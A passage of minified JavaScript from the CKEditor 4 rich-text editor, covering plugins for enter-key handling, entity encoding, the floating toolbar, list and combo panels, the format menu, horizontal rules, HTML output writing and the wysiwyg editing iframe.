c,d=a.document,u=a.checkStartOfBlock(),h=a.checkEndOfBlock(),m=e.elementPath(a.startContainer).block,f=o==CKEDITOR.ENTER_DIV?"div":"p";if(u&&h){if(m&&(m.is("li")||m.getParent().is("li"))){c=(a=m.getParent()).getParent(),l=!m.hasPrevious();var E=!m.hasNext(),g=(f=e.getSelection()).createBookmarks(),T=(u=m.getDirection(1),h=m.getAttribute("class"),m.getAttribute("style")),p=c.getDirection(1)!=u;if(e=e.enterMode!=CKEDITOR.ENTER_BR||p||T||h,c.is("li"))l||E?m[l?"insertBefore":"insertAfter"](c):m.breakParent(c);else{if(e)c=d.createElement(o==CKEDITOR.ENTER_P?"p":"div"),p&&c.setAttribute("dir",u),T&&c.setAttribute("style",T),h&&c.setAttribute("class",h),m.moveChildren(c),l||E?c[l?"insertBefore":"insertAfter"](a):(m.breakParent(a),c.insertAfter(a));else if(m.appendBogus(!0),l||E)for(;d=m[l?"getFirst":"getLast"]();)d[l?"insertBefore":"insertAfter"](a);else for(m.breakParent(a);d=m.getLast();)d.insertAfter(a);m.remove()}return void f.selectBookmarks(g)}if(m&&m.getParent().is("blockquote"))return m.breakParent(m.getParent()),m.getPrevious().getFirst(CKEDITOR.dom.walker.invisible(1))||m.getPrevious().remove(),m.getNext().getFirst(CKEDITOR.dom.walker.invisible(1))||m.getNext().remove(),a.moveToElementEditStart(m),void a.select()}else if(m&&m.is("pre")&&!h)return void r(e,o,a,l);if(h=a.splitBlock(f)){if(o=h.previousBlock,m=h.nextBlock,e=h.wasStartOfBlock,u=h.wasEndOfBlock,m?(g=m.getParent()).is("li")&&(m.breakParent(g),m.move(m.getNext(),1)):o&&(g=o.getParent())&&g.is("li")&&(o.breakParent(g),g=o.getNext(),a.moveToElementEditStart(g),o.move(o.getPrevious())),e||u){if(o?(o.is("li")||!s.test(o.getName())&&!o.is("pre"))&&(c=o.clone()):m&&(c=m.clone()),c?l&&!c.is("li")&&c.renameNode(f):g&&g.is("li")?c=g:(c=d.createElement(f),o&&(E=o.getDirection())&&c.setAttribute("dir",E)),d=h.elementPath)for(l=0,f=d.elements.length;l<f&&!(g=d.elements[l]).equals(d.block)&&!g.equals(d.blockLimit);l++)CKEDITOR.dtd.$removeEmpty[g.getName()]&&(g=g.clone(),c.moveChildren(g),c.append(g));c.appendBogus(),c.getParent()||a.insertNode(c),c.is("li")&&c.removeAttribute("value"),!CKEDITOR.env.ie||!e||u&&o.getChildCount()||(a.moveToElementEditStart(u?o:c),a.select()),a.moveToElementEditStart(e&&!u?m:c)}else m.is("li")&&((c=a.clone()).selectNodeContents(m),(c=new CKEDITOR.dom.walker(c)).evaluator=function(e){return!(i(e)||n(e)||e.type==CKEDITOR.NODE_ELEMENT&&e.getName()in CKEDITOR.dtd.$inline&&!(e.getName()in CKEDITOR.dtd.$empty))},(g=c.next())&&g.type==CKEDITOR.NODE_ELEMENT&&g.is("ul","ol")&&(CKEDITOR.env.needsBrFiller?d.createElement("br"):d.createText(" ")).insertBefore(g)),m&&a.moveToElementEditStart(m);a.select(),a.scrollIntoView()}}},enterBr:function(e,n,i,o){if(i=i||t(e)){var r=i.document,l=i.checkEndOfBlock(),c=(d=new CKEDITOR.dom.elementPath(e.getSelection().getStartElement())).block,d=c&&d.block.getName();o||"li"!=d?(!o&&l&&s.test(d)?(l=c.getDirection())?((r=r.createElement("div")).setAttribute("dir",l),r.insertAfter(c),i.setStart(r,0)):(r.createElement("br").insertAfter(c),CKEDITOR.env.gecko&&r.createText("").insertAfter(c),i.setStartAt(c.getNext(),CKEDITOR.env.ie?CKEDITOR.POSITION_BEFORE_START:CKEDITOR.POSITION_AFTER_START)):(c="pre"==d&&CKEDITOR.env.ie&&8>CKEDITOR.env.version?r.createText("\r"):r.createElement("br"),i.deleteContents(),i.insertNode(c),CKEDITOR.env.needsBrFiller?(r.createText("\ufeff").insertAfter(c),l&&c.getParent().appendBogus(),c.getNext().$.nodeValue="",i.setStartAt(c.getNext(),CKEDITOR.POSITION_AFTER_START)):i.setStartAt(c,CKEDITOR.POSITION_AFTER_END)),i.collapse(!0),i.select(),i.scrollIntoView()):a(e,n,i,o)}}};var o=CKEDITOR.plugins.enterkey,r=o.enterBr,a=o.enterBlock,s=/^h[1-6]$/}(),function(){function e(e,t){var n={},i=[],o={nbsp:" ",shy:"",gt:">",lt:"<",amp:"&",apos:"'",quot:'"'};if(e=e.replace(/\b(nbsp|shy|gt|lt|amp|apos|quot)(?:,|$)/g,(function(e,r){var a=t?"&"+r+";":o[r];return n[a]=t?o[r]:"&"+r+";",i.push(a),""})),!t&&e){e=e.split(",");var r,a=document.createElement("div");for(a.innerHTML="&"+e.join(";&")+";",r=a.innerHTML,a=null,a=0;a<r.length;a++){var s=r.charAt(a);n[s]="&"+e[a]+";",i.push(s)}}return n.regex=i.join(t?"|":""),n}CKEDITOR.plugins.add("entities",{afterInit:function(t){var n=t.config;if(t=(t=t.dataProcessor)&&t.htmlFilter){var i=[];!1!==n.basicEntities&&i.push("nbsp,gt,lt,amp"),n.entities&&(i.length&&i.push("quot,iexcl,cent,pound,curren,yen,brvbar,sect,uml,copy,ordf,laquo,not,shy,reg,macr,deg,plusmn,sup2,sup3,acute,micro,para,middot,cedil,sup1,ordm,raquo,frac14,frac12,frac34,iquest,times,divide,fnof,bull,hellip,prime,Prime,oline,frasl,weierp,image,real,trade,alefsym,larr,uarr,rarr,darr,harr,crarr,lArr,uArr,rArr,dArr,hArr,forall,part,exist,empty,nabla,isin,notin,ni,prod,sum,minus,lowast,radic,prop,infin,ang,and,or,cap,cup,int,there4,sim,cong,asymp,ne,equiv,le,ge,sub,sup,nsub,sube,supe,oplus,otimes,perp,sdot,lceil,rceil,lfloor,rfloor,lang,rang,loz,spades,clubs,hearts,diams,circ,tilde,ensp,emsp,thinsp,zwnj,zwj,lrm,rlm,ndash,mdash,lsquo,rsquo,sbquo,ldquo,rdquo,bdquo,dagger,Dagger,permil,lsaquo,rsaquo,euro"),n.entities_latin&&i.push("Agrave,Aacute,Acirc,Atilde,Auml,Aring,AElig,Ccedil,Egrave,Eacute,Ecirc,Euml,Igrave,Iacute,Icirc,Iuml,ETH,Ntilde,Ograve,Oacute,Ocirc,Otilde,Ouml,Oslash,Ugrave,Uacute,Ucirc,Uuml,Yacute,THORN,szlig,agrave,aacute,acirc,atilde,auml,aring,aelig,ccedil,egrave,eacute,ecirc,euml,igrave,iacute,icirc,iuml,eth,ntilde,ograve,oacute,ocirc,otilde,ouml,oslash,ugrave,uacute,ucirc,uuml,yacute,thorn,yuml,OElig,oelig,Scaron,scaron,Yuml"),n.entities_greek&&i.push("Alpha,Beta,Gamma,Delta,Epsilon,Zeta,Eta,Theta,Iota,Kappa,Lambda,Mu,Nu,Xi,Omicron,Pi,Rho,Sigma,Tau,Upsilon,Phi,Chi,Psi,Omega,alpha,beta,gamma,delta,epsilon,zeta,eta,theta,iota,kappa,lambda,mu,nu,xi,omicron,pi,rho,sigmaf,sigma,tau,upsilon,phi,chi,psi,omega,thetasym,upsih,piv"),n.entities_additional&&i.push(n.entities_additional));var o=e(i.join(",")),r=o.regex?"["+o.regex+"]":"a^";delete o.regex,n.entities&&n.entities_processNumerical&&(r="[^ -~]|"+r),r=RegExp(r,"g");var a=function(e){return"force"!=n.entities_processNumerical&&o[e]?o[e]:"&#"+e.charCodeAt(0)+";"},s=e("nbsp,gt,lt,amp,shy",!0),l=RegExp(s.regex,"g"),c=function(e){return s[e]};t.addRules({text:function(e){return e.replace(l,c).replace(r,a)}})}}})}(),CKEDITOR.config.basicEntities=!0,CKEDITOR.config.entities=!0,CKEDITOR.config.entities_latin=!0,CKEDITOR.config.entities_greek=!0,CKEDITOR.config.entities_additional="#39",function(){var e=CKEDITOR.addTemplate("floatcontainer",'<div id="cke_{name}" class="cke {id} cke_reset_all cke_chrome cke_editor_{name} cke_float cke_{langDir} '+CKEDITOR.env.cssClass+'" dir="{langDir}" title="'+(CKEDITOR.env.gecko?" ":"")+'" lang="{langCode}" role="application" style="{style}" aria-labelledby="cke_{name}_arialbl"><span id="cke_{name}_arialbl" class="cke_voice_label">{voiceLabel}</span><div class="cke_inner"><div id="{topId}" class="cke_top" role="presentation">{content}</div></div></div>'),t=CKEDITOR.document.getWindow(),n=CKEDITOR.tools.cssLength;CKEDITOR.plugins.add("floatingspace",{init:function(i){i.on("loaded",(function(){!function(i){var o=i.config,r=i.fire("uiSpace",{space:"top",html:""}).html,a=function(){function e(e,t,i){s.setStyle(t,n(i)),s.setStyle("position",e)}function r(t){var n=c.getDocumentPosition();switch(t){case"top":e("absolute","top",n.y-m-g);break;case"pin":e("fixed","top",p);break;case"bottom":e("absolute","top",n.y+(u.height||u.bottom-u.top)+g)}l=t}var l,c,d,u,h,m,f,E=o.floatSpaceDockedOffsetX||0,g=o.floatSpaceDockedOffsetY||0,T=o.floatSpacePinnedOffsetX||0,p=o.floatSpacePinnedOffsetY||0;return function(e){if(c=i.editable())if(e&&"focus"==e.name&&s.show(),s.removeStyle("left"),s.removeStyle("right"),d=s.getClientRect(),u=c.getClientRect(),h=t.getViewPaneSize(),m=d.height,f="pageXOffset"in t.$?t.$.pageXOffset:CKEDITOR.document.$.documentElement.scrollLeft,l){var o;m+g<=u.top?r("top"):m+g>h.height-u.bottom?r("pin"):r("bottom"),e=h.width/2,e=0<u.left&&u.right<h.width&&u.width>d.width?"rtl"==i.config.contentsLangDirection?"right":"left":e-u.left>u.right-e?"left":"right",d.width>h.width?(e="left",o=0):(o="left"==e?0<u.left?u.left:0:u.right<h.width?h.width-u.right:0)+d.width>h.width&&(e="left"==e?"right":"left",o=0),s.setStyle(e,n(("pin"==l?T:E)+o+("pin"==l?0:"left"==e?f:-f)))}else l="pin",r("pin"),a(e)}}();if(r){var s=CKEDITOR.document.getBody().append(CKEDITOR.dom.element.createFromHtml(e.output({content:r,id:i.id,langDir:i.lang.dir,langCode:i.langCode,name:i.name,style:"display:none;z-index:"+(o.baseFloatZIndex-1),topId:i.ui.spaceId("top"),voiceLabel:i.lang.editorPanel+", "+i.name}))),l=CKEDITOR.tools.eventsBuffer(500,a),c=CKEDITOR.tools.eventsBuffer(100,a);s.unselectable(),s.on("mousedown",(function(e){(e=e.data).getTarget().hasAscendant("a",1)||e.preventDefault()})),i.on("focus",(function(e){a(e),i.on("change",l.input),t.on("scroll",c.input),t.on("resize",c.input)})),i.on("blur",(function(){s.hide(),i.removeListener("change",l.input),t.removeListener("scroll",c.input),t.removeListener("resize",c.input)})),i.on("destroy",(function(){t.removeListener("scroll",c.input),t.removeListener("resize",c.input),s.clearCustomData(),s.remove()})),i.focusManager.hasFocus&&s.show(),i.focusManager.add(s,1)}}(this)}),null,null,20)}})}(),CKEDITOR.plugins.add("listblock",{requires:"panel",onLoad:function(){var e=CKEDITOR.addTemplate("panel-list",'<ul role="presentation" class="cke_panel_list">{items}</ul>'),t=CKEDITOR.addTemplate("panel-list-item",'<li id="{id}" class="cke_panel_listItem" role=presentation><a id="{id}_option" _cke_focus=1 hidefocus=true title="{title}" href="javascript:void(\'{val}\')" {onclick}="CKEDITOR.tools.callFunction({clickFn},\'{val}\'); return false;" role="option">{text}</a></li>'),n=CKEDITOR.addTemplate("panel-list-group",'<h1 id="{id}" class="cke_panel_grouptitle" role="presentation" >{label}</h1>');CKEDITOR.ui.panel.prototype.addListBlock=function(e,t){return this.addBlock(e,new CKEDITOR.ui.listBlock(this.getHolderElement(),t))},CKEDITOR.ui.listBlock=CKEDITOR.tools.createClass({base:CKEDITOR.ui.panel.block,$:function(e,t){var n=(t=t||{}).attributes||(t.attributes={});(this.multiSelect=!!t.multiSelect)&&(n["aria-multiselectable"]=!0),!n.role&&(n.role="listbox"),this.base.apply(this,arguments),this.element.setAttribute("role",n.role),(n=this.keys)[40]="next",n[9]="next",n[38]="prev",n[CKEDITOR.SHIFT+9]="prev",n[32]=CKEDITOR.env.ie?"mouseup":"click",CKEDITOR.env.ie&&(n[13]="mouseup"),this._.pendingHtml=[],this._.pendingList=[],this._.items={},this._.groups={}},_:{close:function(){if(this._.started){var t=e.output({items:this._.pendingList.join("")});this._.pendingList=[],this._.pendingHtml.push(t),delete this._.started}},getClick:function(){return this._.click||(this._.click=CKEDITOR.tools.addFunction((function(e){var t=this.toggle(e);this.onClick&&this.onClick(e,t)}),this)),this._.click}},proto:{add:function(e,n,i){var o=CKEDITOR.tools.getNextId();this._.started||(this._.started=1,this._.size=this._.size||0),this._.items[e]=o,e={id:o,val:e,onclick:CKEDITOR.env.ie?'onclick="return false;" onmouseup':"onclick",clickFn:this._.getClick(),title:i||e,text:n||e},this._.pendingList.push(t.output(e))},startGroup:function(e){this._.close();var t=CKEDITOR.tools.getNextId();this._.groups[e]=t,this._.pendingHtml.push(n.output({id:t,label:e}))},commit:function(){this._.close(),this.element.appendHtml(this._.pendingHtml.join("")),delete this._.size,this._.pendingHtml=[]},toggle:function(e){var t=this.isMarked(e);return t?this.unmark(e):this.mark(e),!t},hideGroup:function(e){var t=(e=this.element.getDocument().getById(this._.groups[e]))&&e.getNext();e&&(e.setStyle("display","none"),t&&"ul"==t.getName()&&t.setStyle("display","none"))},hideItem:function(e){this.element.getDocument().getById(this._.items[e]).setStyle("display","none")},showAll:function(){var e,t=this._.items,n=this._.groups,i=this.element.getDocument();for(e in t)i.getById(t[e]).setStyle("display","");for(var o in n)e=(t=i.getById(n[o])).getNext(),t.setStyle("display",""),e&&"ul"==e.getName()&&e.setStyle("display","")},mark:function(e){this.multiSelect||this.unmarkAll(),e=this._.items[e];var t=this.element.getDocument().getById(e);t.addClass("cke_selected"),this.element.getDocument().getById(e+"_option").setAttribute("aria-selected",!0),this.onMark&&this.onMark(t)},unmark:function(e){var t=this.element.getDocument(),n=(e=this._.items[e],t.getById(e));n.removeClass("cke_selected"),t.getById(e+"_option").removeAttribute("aria-selected"),this.onUnmark&&this.onUnmark(n)},unmarkAll:function(){var e,t=this._.items,n=this.element.getDocument();for(e in t){var i=t[e];n.getById(i).removeClass("cke_selected"),n.getById(i+"_option").removeAttribute("aria-selected")}this.onUnmark&&this.onUnmark()},isMarked:function(e){return this.element.getDocument().getById(this._.items[e]).hasClass("cke_selected")},focus:function(e){this._.focusIndex=-1;var t,n=this.element.getElementsByTag("a"),i=-1;if(e){for(t=this.element.getDocument().getById(this._.items[e]).getFirst();e=n.getItem(++i);)if(e.equals(t)){this._.focusIndex=i;break}}else this.element.focus();t&&setTimeout((function(){t.focus()}),0)}}})}}),CKEDITOR.plugins.add("richcombo",{requires:"floatpanel,listblock,button",beforeInit:function(e){e.ui.addHandler(CKEDITOR.UI_RICHCOMBO,CKEDITOR.ui.richCombo.handler)}}),function(){var e='<span id="{id}" class="cke_combo cke_combo__{name} {cls}" role="presentation"><span id="{id}_label" class="cke_combo_label">{label}</span><a class="cke_combo_button" hidefocus=true title="{title}" tabindex="-1"'+(CKEDITOR.env.gecko&&10900<=CKEDITOR.env.version&&!CKEDITOR.env.hc?"":'" href="javascript:void(\'{titleJs}\')"')+' hidefocus="true" role="button" aria-labelledby="{id}_label" aria-haspopup="true"';(CKEDITOR.env.opera||CKEDITOR.env.gecko&&CKEDITOR.env.mac)&&(e+=' onkeypress="return false;"'),CKEDITOR.env.gecko&&(e+=' onblur="this.style.cssText = this.style.cssText;"'),e=e+' onkeydown="return CKEDITOR.tools.callFunction({keydownFn},event,this);" onmousedown="return CKEDITOR.tools.callFunction({mousedownFn},event);" onfocus="return CKEDITOR.tools.callFunction({focusFn},event);" '+(CKEDITOR.env.ie?'onclick="return false;" onmouseup':"onclick")+'="CKEDITOR.tools.callFunction({clickFn},this);return false;"><span id="{id}_text" class="cke_combo_text cke_combo_inlinelabel">{label}</span><span class="cke_combo_open"><span class="cke_combo_arrow">'+(CKEDITOR.env.hc?"▼":CKEDITOR.env.air?" ":"")+"</span></span></a></span>";var t=CKEDITOR.addTemplate("combo",e);CKEDITOR.UI_RICHCOMBO="richcombo",CKEDITOR.ui.richCombo=CKEDITOR.tools.createClass({$:function(e){CKEDITOR.tools.extend(this,e,{canGroup:!1,title:e.label,modes:{wysiwyg:1},editorFocus:1}),e=this.panel||{},delete this.panel,this.id=CKEDITOR.tools.getNextNumber(),this.document=e.parent&&e.parent.getDocument()||CKEDITOR.document,e.className="cke_combopanel",e.block={multiSelect:e.multiSelect,attributes:e.attributes},e.toolbarRelated=!0,this._={panelDefinition:e,items:{}}},proto:{renderHtml:function(e){var t=[];return this.render(e,t),t.join("")},render:function(e,n){function i(){var t=this.modes[e.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED;e.readOnly&&!this.readOnly&&(t=CKEDITOR.TRISTATE_DISABLED),this.setState(t),this.setValue(""),t!=CKEDITOR.TRISTATE_DISABLED&&this.refresh&&this.refresh()}var o=CKEDITOR.env,r="cke_"+this.id,a=CKEDITOR.tools.addFunction((function(t){u&&(e.unlockSelection(1),u=0),l.execute(t)}),this),s=this,l={id:r,combo:this,focus:function(){CKEDITOR.document.getById(r).getChild(1).focus()},execute:function(t){var n=s._;if(n.state!=CKEDITOR.TRISTATE_DISABLED)if(s.createPanel(e),n.on)n.panel.hide();else{s.commit();var i=s.getValue();i?n.list.mark(i):n.list.unmarkAll(),n.panel.showBlock(s.id,new CKEDITOR.dom.element(t),4)}},clickFn:a};e.on("activeFilterChange",i,this),e.on("mode",i,this),!this.readOnly&&e.on("readOnly",i,this);var c=CKEDITOR.tools.addFunction((function(e,t){var n=(e=new CKEDITOR.dom.event(e)).getKeystroke();switch(n){case 13:case 32:case 40:CKEDITOR.tools.callFunction(a,t);break;default:l.onkey(l,n)}e.preventDefault()})),d=CKEDITOR.tools.addFunction((function(){l.onfocus&&l.onfocus()})),u=0,h=CKEDITOR.tools.addFunction((function(){if(CKEDITOR.env.opera){var t=e.editable();t.isInline()&&t.hasFocus&&(e.lockSelection(),u=1)}}));return l.keyDownFn=c,o={id:r,name:this.name||this.command,label:this.label,title:this.title,cls:this.className||"",titleJs:o.gecko&&10900<=o.version&&!o.hc?"":(this.title||"").replace("'",""),keydownFn:c,mousedownFn:h,focusFn:d,clickFn:a},t.output(o,n),this.onRender&&this.onRender(),l},createPanel:function(e){if(!this._.panel){var t=this._.panelDefinition,n=this._.panelDefinition.block,i=t.parent||CKEDITOR.document.getBody(),o="cke_combopanel__"+this.name,r=new CKEDITOR.ui.floatPanel(e,i,t),a=r.addListBlock(this.id,n),s=this;r.onShow=function(){this.element.addClass(o),s.setState(CKEDITOR.TRISTATE_ON),s._.on=1,s.editorFocus&&!e.focusManager.hasFocus&&e.focus(),s.onOpen&&s.onOpen(),e.once("panelShow",(function(){a.focus(!a.multiSelect&&s.getValue())}))},r.onHide=function(t){this.element.removeClass(o),s.setState(s.modes&&s.modes[e.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED),s._.on=0,!t&&s.onClose&&s.onClose()},r.onEscape=function(){r.hide(1)},a.onClick=function(e,t){s.onClick&&s.onClick.call(s,e,t),r.hide()},this._.panel=r,this._.list=a,r.getBlock(this.id).onHide=function(){s._.on=0,s.setState(CKEDITOR.TRISTATE_OFF)},this.init&&this.init()}},setValue:function(e,t){this._.value=e;var n=this.document.getById("cke_"+this.id+"_text");n&&(e||t?n.removeClass("cke_combo_inlinelabel"):(t=this.label,n.addClass("cke_combo_inlinelabel")),n.setText(void 0!==t?t:e))},getValue:function(){return this._.value||""},unmarkAll:function(){this._.list.unmarkAll()},mark:function(e){this._.list.mark(e)},hideItem:function(e){this._.list.hideItem(e)},hideGroup:function(e){this._.list.hideGroup(e)},showAll:function(){this._.list.showAll()},add:function(e,t,n){this._.items[e]=n||e,this._.list.add(e,t,n)},startGroup:function(e){this._.list.startGroup(e)},commit:function(){this._.committed||(this._.list.commit(),this._.committed=1,CKEDITOR.ui.fire("ready",this)),this._.committed=1},setState:function(e){if(this._.state!=e){var t=this.document.getById("cke_"+this.id);t.setState(e,"cke_combo"),e==CKEDITOR.TRISTATE_DISABLED?t.setAttribute("aria-disabled",!0):t.removeAttribute("aria-disabled"),this._.state=e}},getState:function(){return this._.state},enable:function(){this._.state==CKEDITOR.TRISTATE_DISABLED&&this.setState(this._.lastState)},disable:function(){this._.state!=CKEDITOR.TRISTATE_DISABLED&&(this._.lastState=this._.state,this.setState(CKEDITOR.TRISTATE_DISABLED))}},statics:{handler:{create:function(e){return new CKEDITOR.ui.richCombo(e)}}}}),CKEDITOR.ui.prototype.addRichCombo=function(e,t){this.add(e,CKEDITOR.UI_RICHCOMBO,t)}}(),CKEDITOR.plugins.add("format",{requires:"richcombo",init:function(e){if(!e.blockless){for(var t=e.config,n=e.lang.format,i=t.format_tags.split(";"),o={},r=0,a=[],s=0;s<i.length;s++){var l=i[s],c=new CKEDITOR.style(t["format_"+l]);e.filter.customConfig&&!e.filter.check(c)||(r++,o[l]=c,o[l]._.enterMode=e.config.enterMode,a.push(c))}0!==r&&e.ui.addRichCombo("Format",{label:n.label,title:n.panelTitle,toolbar:"styles,20",allowedContent:a,panel:{css:[CKEDITOR.skin.getPath("editor")].concat(t.contentsCss),multiSelect:!1,attributes:{"aria-label":n.panelTitle}},init:function(){for(var e in this.startGroup(n.panelTitle),o){var t=n["tag_"+e];this.add(e,o[e].buildPreview(t),t)}},onClick:function(t){e.focus(),e.fire("saveSnapshot"),t=o[t];var n=e.elementPath();e[t.checkActive(n)?"removeStyle":"applyStyle"](t),setTimeout((function(){e.fire("saveSnapshot")}),0)},onRender:function(){e.on("selectionChange",(function(t){var n=this.getValue();for(var i in t=t.data.path,this.refresh(),o)if(o[i].checkActive(t))return void(i!=n&&this.setValue(i,e.lang.format["tag_"+i]));this.setValue("")}),this)},onOpen:function(){for(var t in this.showAll(),o)e.activeFilter.check(o[t])||this.hideItem(t)},refresh:function(){var t=e.elementPath();if(t){if(t.isContextFor("p"))for(var n in o)if(e.activeFilter.check(o[n]))return;this.setState(CKEDITOR.TRISTATE_DISABLED)}}})}}}),CKEDITOR.config.format_tags="p;h1;h2;h3;h4;h5;h6;pre;address;div",CKEDITOR.config.format_p={element:"p"},CKEDITOR.config.format_div={element:"div"},CKEDITOR.config.format_pre={element:"pre"},CKEDITOR.config.format_address={element:"address"},CKEDITOR.config.format_h1={element:"h1"},CKEDITOR.config.format_h2={element:"h2"},CKEDITOR.config.format_h3={element:"h3"},CKEDITOR.config.format_h4={element:"h4"},CKEDITOR.config.format_h5={element:"h5"},CKEDITOR.config.format_h6={element:"h6"},function(){var e={canUndo:!1,exec:function(e){var t=e.document.createElement("hr");e.insertElement(t)},allowedContent:"hr",requiredContent:"hr"};CKEDITOR.plugins.add("horizontalrule",{init:function(t){t.blockless||(t.addCommand("horizontalrule",e),t.ui.addButton&&t.ui.addButton("HorizontalRule",{label:t.lang.horizontalrule.toolbar,command:"horizontalrule",toolbar:"insert,40"}))}})}(),CKEDITOR.plugins.add("htmlwriter",{init:function(e){var t=new CKEDITOR.htmlWriter;t.forceSimpleAmpersand=e.config.forceSimpleAmpersand,t.indentationChars=e.config.dataIndentationChars||"\t",e.dataProcessor.writer=t}}),CKEDITOR.htmlWriter=CKEDITOR.tools.createClass({base:CKEDITOR.htmlParser.basicWriter,$:function(){this.base(),this.indentationChars="\t",this.selfClosingEnd=" />",this.lineBreakChars="\n",this.sortAttributes=1,this._.indent=0,this._.indentation="",this._.inPre=0,this._.rules={};var e,t=CKEDITOR.dtd;for(e in CKEDITOR.tools.extend({},t.$nonBodyContent,t.$block,t.$listItem,t.$tableContent))this.setRules(e,{indent:!t[e]["#"],breakBeforeOpen:1,breakBeforeClose:!t[e]["#"],breakAfterClose:1,needsSpace:e in t.$block&&!(e in{li:1,dt:1,dd:1})});this.setRules("br",{breakAfterOpen:1}),this.setRules("title",{indent:0,breakAfterOpen:0}),this.setRules("style",{indent:0,breakBeforeClose:1}),this.setRules("pre",{breakAfterOpen:1,indent:0})},proto:{openTag:function(e){var t=this._.rules[e];this._.afterCloser&&t&&t.needsSpace&&this._.needsSpace&&this._.output.push("\n"),this._.indent?this.indentation():t&&t.breakBeforeOpen&&(this.lineBreak(),this.indentation()),this._.output.push("<",e),this._.afterCloser=0},openTagClose:function(e,t){var n=this._.rules[e];t?(this._.output.push(this.selfClosingEnd),n&&n.breakAfterClose&&(this._.needsSpace=n.needsSpace)):(this._.output.push(">"),n&&n.indent&&(this._.indentation+=this.indentationChars)),n&&n.breakAfterOpen&&this.lineBreak(),"pre"==e&&(this._.inPre=1)},attribute:function(e,t){"string"==typeof t&&(this.forceSimpleAmpersand&&(t=t.replace(/&/g,"&")),t=CKEDITOR.tools.htmlEncodeAttr(t)),this._.output.push(" ",e,'="',t,'"')},closeTag:function(e){var t=this._.rules[e];t&&t.indent&&(this._.indentation=this._.indentation.substr(this.indentationChars.length)),this._.indent?this.indentation():t&&t.breakBeforeClose&&(this.lineBreak(),this.indentation()),this._.output.push("</",e,">"),"pre"==e&&(this._.inPre=0),t&&t.breakAfterClose&&(this.lineBreak(),this._.needsSpace=t.needsSpace),this._.afterCloser=1},text:function(e){this._.indent&&(this.indentation(),!this._.inPre&&(e=CKEDITOR.tools.ltrim(e))),this._.output.push(e)},comment:function(e){this._.indent&&this.indentation(),this._.output.push("\x3c!--",e,"--\x3e")},lineBreak:function(){!this._.inPre&&0<this._.output.length&&this._.output.push(this.lineBreakChars),this._.indent=1},indentation:function(){!this._.inPre&&this._.indentation&&this._.output.push(this._.indentation),this._.indent=0},reset:function(){this._.output=[],this._.indent=0,this._.indentation="",this._.afterCloser=0,this._.inPre=0},setRules:function(e,t){var n=this._.rules[e];n?CKEDITOR.tools.extend(n,t,!0):this._.rules[e]=t}}}),function(){function e(e){var t=this.editor,n=e.document,i=n.body;(e=n.getElementById("cke_actscrpt"))&&e.parentNode.removeChild(e),(e=n.getElementById("cke_shimscrpt"))&&e.parentNode.removeChild(e),CKEDITOR.env.gecko&&(i.contentEditable=!1,2e4>CKEDITOR.env.version&&(i.innerHTML=i.innerHTML.replace(/^.*<\!-- cke-content-start --\>/,""),setTimeout((function(){var e=new CKEDITOR.dom.range(new CKEDITOR.dom.document(n));e.setStart(new CKEDITOR.dom.node(i),0),t.getSelection().selectRanges([e])}),0))),i.contentEditable=!0,CKEDITOR.env.ie&&(i.hideFocus=!0,i.disabled=!0,i.removeAttribute("disabled")),delete this._.isLoadingData,this.$=i,n=new CKEDITOR.dom.document(n),this.setup(),CKEDITOR.env.ie&&(n.getDocumentElement().addClass(n.$.compatMode),t.config.enterMode!=CKEDITOR.ENTER_P&&n.on("selectionchange",(function(){var e=n.getBody(),i=t.getSelection(),o=i&&i.getRanges()[0];o&&e.getHtml().match(/^<p>(?: |<br>)<\/p>$/i)&&o.startContainer.equals(e)&&setTimeout((function(){(o=t.getSelection().getRanges()[0]).startContainer.equals("body")||(e.getFirst().remove(1),o.moveToElementEditEnd(e),o.select())}),0)}))),(CKEDITOR.env.webkit||CKEDITOR.env.ie&&10<CKEDITOR.env.version)&&n.getDocumentElement().on("mousedown",(function(e){e.data.getTarget().is("html")&&setTimeout((function(){t.editable().focus()}))}));try{t.document.$.execCommand("2D-position",!1,!0)}catch(e){}try{t.document.$.execCommand("enableInlineTableEditing",!1,!t.config.disableNativeTableHandles)}catch(e){}if(t.config.disableObjectResizing)try{this.getDocument().$.execCommand("enableObjectResizing",!1,!1)}catch(e){this.attachListener(this,CKEDITOR.env.ie?"resizestart":"resize",(function(e){e.data.preventDefault()}))}(CKEDITOR.env.gecko||CKEDITOR.env.ie&&"CSS1Compat"==t.document.$.compatMode)&&this.attachListener(this,"keydown",(function(e){var n=e.data.getKeystroke();if(33==n||34==n)if(CKEDITOR.env.ie)setTimeout((function(){t.getSelection().scrollIntoView()}),0);else if(t.window.$.innerHeight>this.$.offsetHeight){var i=t.createRange();i[33==n?"moveToElementEditStart":"moveToElementEditEnd"](this),i.select(),e.data.preventDefault()}})),CKEDITOR.env.ie&&this.attachListener(n,"blur",(function(){try{n.$.selection.empty()}catch(e){}})),t.document.getElementsByTag("title").getItem(0).data("cke-title",t.document.$.title),CKEDITOR.env.ie&&(t.document.$.title=this._.docTitle),CKEDITOR.tools.setTimeout((function(){t.fire("contentDom"),this._.isPendingFocus&&(t.focus(),this._.isPendingFocus=!1),setTimeout((function(){t.fire("dataReady")}),0),CKEDITOR.env.ie&&setTimeout((function(){if(t.document){var e=t.document.$.body;e.runtimeStyle.marginBottom="0px",e.runtimeStyle.marginBottom=""}}),1e3)}),0,this)}CKEDITOR.plugins.add("wysiwygarea",{init:function(e){e.config.fullPage&&e.addFeature({allowedContent:"html head title; style [media,type]; body (*)[id]; meta link [*]",requiredContent:"body"}),e.addMode("wysiwyg",(function(n){function i(i){i&&i.removeListener(),e.editable(new t(e,r.$.contentWindow.document.body)),e.setData(e.getData(1),n)}var o="document.open();"+(CKEDITOR.env.ie?"("+CKEDITOR.tools.fixDomain+")();":"")+"document.close();",r=(o=CKEDITOR.env.air?"javascript:void(0)":CKEDITOR.env.ie?"javascript:void(function(){"+encodeURIComponent(o)+"}())":"",CKEDITOR.dom.element.createFromHtml('<iframe src="'+o+'" frameBorder="0"></iframe>'));r.setStyles({width:"100%",height:"100%"}),r.addClass("cke_wysiwyg_frame cke_reset");var a=e.ui.space("contents");a.append(r),(o=CKEDITOR.env.ie||CKEDITOR.env.gecko)&&r.on("load",i);var s=e.title,l=e.lang.common.editorHelp;s&&(CKEDITOR.env.ie&&(s+=", "+l),r.setAttribute("title",s)),s=CKEDITOR.tools.getNextId();var c=CKEDITOR.dom.element.createFromHtml('<span id="'+s+'" 